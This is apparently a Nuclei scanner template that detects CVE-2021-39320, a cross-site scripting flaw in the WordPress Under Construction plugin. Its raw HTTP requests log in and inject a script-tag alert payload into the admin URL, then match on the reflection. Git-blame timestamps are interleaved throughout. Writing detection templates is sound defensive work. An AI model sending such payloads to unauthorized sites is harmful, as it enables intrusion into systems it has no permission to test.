2021-09-27 17:15:53 +00:00
id : CVE-2021-39320
info :
2022-09-29 13:38:41 +00:00
name : WordPress Under Construction <1.19 - Cross-Site Scripting
2021-09-27 17:15:53 +00:00
author : dhiyaneshDK
2022-09-29 13:52:24 +00:00
severity : medium
2022-09-20 13:55:03 +00:00
description : |
2022-09-29 13:38:41 +00:00
WordPress Under Construction plugin before 1.19 contains a cross-site scripting vulnerability. The plugin echoes out the raw value of `$GLOBALS['PHP_SELF']` in the ucOptions.php file on certain configurations, including Apache+modPHP.
2023-09-27 15:51:13 +00:00
impact : |
The vulnerability allows an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement.
2023-09-06 12:09:01 +00:00
remediation : |
Update to the latest version of the WordPress Under Construction plugin (1.19 or higher) to fix the XSS vulnerability.
2021-09-27 17:15:53 +00:00
reference :
- https://wpscan.com/vulnerability/49ae1df0-d6d2-4cbb-9a9d-bf3599429875
2022-05-17 09:18:12 +00:00
- https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39320
2022-09-20 13:55:03 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-39320
2024-03-23 09:28:19 +00:00
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/ARPSyndicate/cvemon
2021-09-27 17:17:13 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.1
2021-09-27 17:17:13 +00:00
cve-id : CVE-2021-39320
cwe-id : CWE-79
2024-05-31 19:23:20 +00:00
epss-score : 0.00228
epss-percentile : 0.60903
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:underconstruction_project:underconstruction:*:*:*:*:*:wordpress:*:*
2022-09-20 13:57:51 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:09:01 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : underconstruction_project
product : underconstruction
2023-09-06 12:09:01 +00:00
framework : wordpress
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,wp-plugin,wpscan,wordpress,wp,xss,authenticated,underconstruction_project
2021-09-28 10:13:21 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-09-20 13:55:03 +00:00
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php/"><script>alert(document.domain)</script>/?page=under-construction HTTP/1.1
Host : {{Hostname}}
2021-09-27 17:15:53 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
2022-09-20 13:55:03 +00:00
- 'action="/wp-admin/admin.php/"><script>alert(document.domain)</script>'
- 'under-construction'
2022-09-20 13:57:51 +00:00
condition : and
2021-09-28 10:13:21 +00:00
2021-09-27 17:15:53 +00:00
- type : word
part : header
words :
- "text/html"
- type : status
status :
- 200
2024-06-01 06:53:00 +00:00
# digest: 4a0a0047304502210081a3f1d940c56de47725f8a715b7af3cb5dd521abf1d0fe0ec0d5717ad5d1b7c02200c7c246a4c5e1887f0b04c21810d1950c5091535d576a87d7941b0d956d2a891:922c64590222798bb761d5b6d8e72950